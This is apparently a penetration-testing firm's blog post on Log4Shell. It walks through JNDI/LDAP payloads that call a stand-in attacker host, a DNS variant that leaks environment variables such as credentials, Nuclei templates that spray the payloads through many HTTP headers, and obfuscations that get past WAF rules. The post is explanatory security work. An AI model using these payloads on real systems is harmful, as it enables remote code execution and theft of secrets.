If you’re like me, the big Log4j vulnerability (CVE-2021-44228 and pals) has eaten up the last week or so of your life. We, at Bishop Fox, have been in a race to identify as many instances of the issue for our clients as we can. But operations have been well within the fog of war. What we know about the vulnerability, exploitation, countermeasures put in place, and counter-countermeasures have all been evolving rapidly. Almost too rapidly to keep up with.

This blog post will try to show you a condensed history of last week’s craziness and discuss our Log4j testing methodology. Keep in mind that by the time you’re reading this, things may have changed significantly!

Race to Exploit the Zero Day

As soon as the vulnerability dropped late the night of December 9, we immediately tried to exploit it against client infrastructures. At this point, things were highly manual and chaotic. The payload would look something like this:

${jndi:ldap://attacker.example.com/bf}

And it would have been inserted into the User-Agent header of an HTTP GET, sprayed out via cURL to as many client hosts as we could manage.

What this payload is doing is that once it hits the logger, it will try to do a JNDI lookup over LDAP for remote arbitrary Java code. JNDI is a… regrettable inclusion to the Java ecosystem. It’s just such an exploitable mechanism for turning any URI resolution into remote code execution.

At the same time, attacker.example.com was hosting some simple Java classes designed to download and run a Sliver client for further exploitation. We ran this across a long list of client assets and started getting hits!

Exfiltration Over DNS

Exploiting the issue like above had a few issues though. It was direct and the natural thing to try first, but it became clear that there were vulnerable servers that weren’t sending a JNDI callback. The most common reason was that they lacked outbound network access. It’s pretty common for a web server to be set up behind a load balancer with extremely limited network egress options.

In this scenario, one may be triggering the vulnerability, but the web server is being blocked from sending direct outbound TCP connections. You can try fiddling with ports like this:

${jndi:ldap://attacker.example.com:12345/bf}

If you get lucky, maybe TCP port 80 or 443 will be allowed outbound. But most likely, you’re locked in without going through the load balancer (which your JNDI lookup is not likely to do by default). Typically, the web servers are set up with a default HTTP proxy, so you must send an HTTP request to get proxied. JNDI or some other such raw TCP connection won’t fly.

But wait, TCP isn’t the only way to send data. There’s UDP too! Specifically, DNS. We can send a payload such as this

${jndi:ldap://12ab34cd.attacker.example.com:/bf}

Now we can listen for the JNDI callback like before, but also the DNS resolution. Since we control attacker.example.com, we can set up a DNS resolver using Interactsh that will tell us when someone tries to resolve the domain 12ab34cd.attacker.example.com. If we get someone trying to resolve that domain, we know the vulnerability has triggered, even if the callback never comes.

This turned out to be a valuable exploitation method all by itself too since the Message Lookup feature of Log4j supports nested strings and environment variable resolution. Meaning that you can make a payload string like this:

${jndi:ldap://${env:user}.12ab34cd.attacker.example.com:/bf}

What this does is resolve the local environment variable “user” and stick it on to the end of the domain. Depending on what the server does and how it’s configured, environment variables can have very sensitive information, such as AWS keys or database credentials. Very often, the environment variables are as valuable as code execution since they’re what you’d most be interested in stealing once you got the RCE to work!

Impact at Scale

So, this all led to an exhausting weekend of racing to exploit major systems, but what we really needed was to operationalize this process. Bishop Fox's clients have immense attack surfaces, requiring creative uses of automation and technology to analyze impact quickly and adequately.

In combination with our Cosmos platform, the Bishop Fox team regularly uses Nuclei, among many other tools and techniques, to check for a variety of issues. Nuclei is a handy open-source tool that allows you to scan for vulnerabilities based on simple declarative rules, which we've previously highlighted in our Top Pen Testing Tools blog post.

We put together our own Nuclei template for verifying Log4shell that looked something like this:

requests:
  - raw:
      - |
         User-Agent: ${jndi:ldap://{{interactsh-url}}}

This will do basically the same thing as discussed above: It sends an HTTP GET to the targets with a custom subdomain payload in the User-Agent header that will let us know if it gets resolved. The magic here is that Nuclei and Interactsh will automatically do the boring plumbing of hooking up the DNS resolver, making new unique domains, and multiplexing this service out to however many clients as you want. Very handy! This lets us scale up operations to almost as many targets as we could want.

Getting to the Logger

To successfully trigger the vulnerability, our payload needs to hit the logger. The most obvious way this would happen is that many web applications are set up to log every incoming HTTP request. The User-Agent string is useful for this since it’s a header that is highly likely to be read by the server in such an instance. (Web servers care about User-Agent strings because making a website work cross-browser is tricky and the frequent source of bugs. You want to know what the User-Agent was when requests come in.)

But this is only one kind of web application configuration. To cast a wider net, we quickly added more HTTP headers to the list (as well as a query string parameter):

User-Agent, Referer, X-Forwarded-For, Authentication, Contact, From, X-Api-Version:, X-Original-URL, X-Wap-Profile, Profile, X-Arbitrary, X-HTTP-DestinationURL, X-Forwarded-Proto, X-Forwarded-Server, X-Host:, Proxy-Host, Destination, Proxy, Via:, True-Client-IP, Client-IP, X-Client-IP, X-Real-IP, X-Originating-IP:, CF-Connecting_IP, Forwarded

This worked well but each of the payloads were all in the same Nuclei template like:

requests:
  - raw:
      - |
         User-Agent: ${jndi:ldap://{{interactsh-url}}}
         Referer: ${jndi:ldap://{{interactsh-url}}}
         X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}}
…

The problem we encountered is that this makes a single enormous HTTP request go out with payloads crammed into every possible field. If any of these parameters causes a problem, that would get it discarded (and not logged) as well as ending up unable to trigger. This isn’t terribly likely, but in our testing, it seemed to come up. What we did instead is break up this Nuclei template into many smaller individual ones, so that it’d only have one payload per request.

(There really ought to be a way to specify in a Nuclei template that each payload should go in their own request and not be put together. Maybe we’ll add that as a feature ourselves come 2022.)

Wafs and Obfuscation

The team at Bishop Fox weren’t the only ones burning the midnight oil in the Log4j race; the folks who maintain Web Application Firewalls (WAFs) started to block requests with log4shell payloads. As you can see above, basically all the payloads have the string:

${jndi:ldap://

or sometimes

${jndi:dns://

There’s really no legitimate reason to have that string in an HTTP request, so it’s an easy sell to block these before it reaches the web application. Naturally, this would get in the way of testing for the vulnerability, so Bishop Fox went to work on obfuscation techniques to bypass firewall rules. Here is one such payload:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{interactsh-url}}}

Recall that the Message Lookup feature of Log4j allows for nested lookups and that these lookups can consist of a pretty wide array of content. A lookup of ${::-A} will give us just the letter “A.” This lets us pretty easily smuggle in the jdni:ldap text and has served us well so far. Other ways to obfuscate payloads include:

${lower:d} -> d
${upper:a} -> A

And that’s where things stand as of the publication of this blog post! It’s been a wild ride for the last week (or so) and the attacks and defenses have been evolving rapidly. We haven’t even talked yet about non-HTTP targets, for instance.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.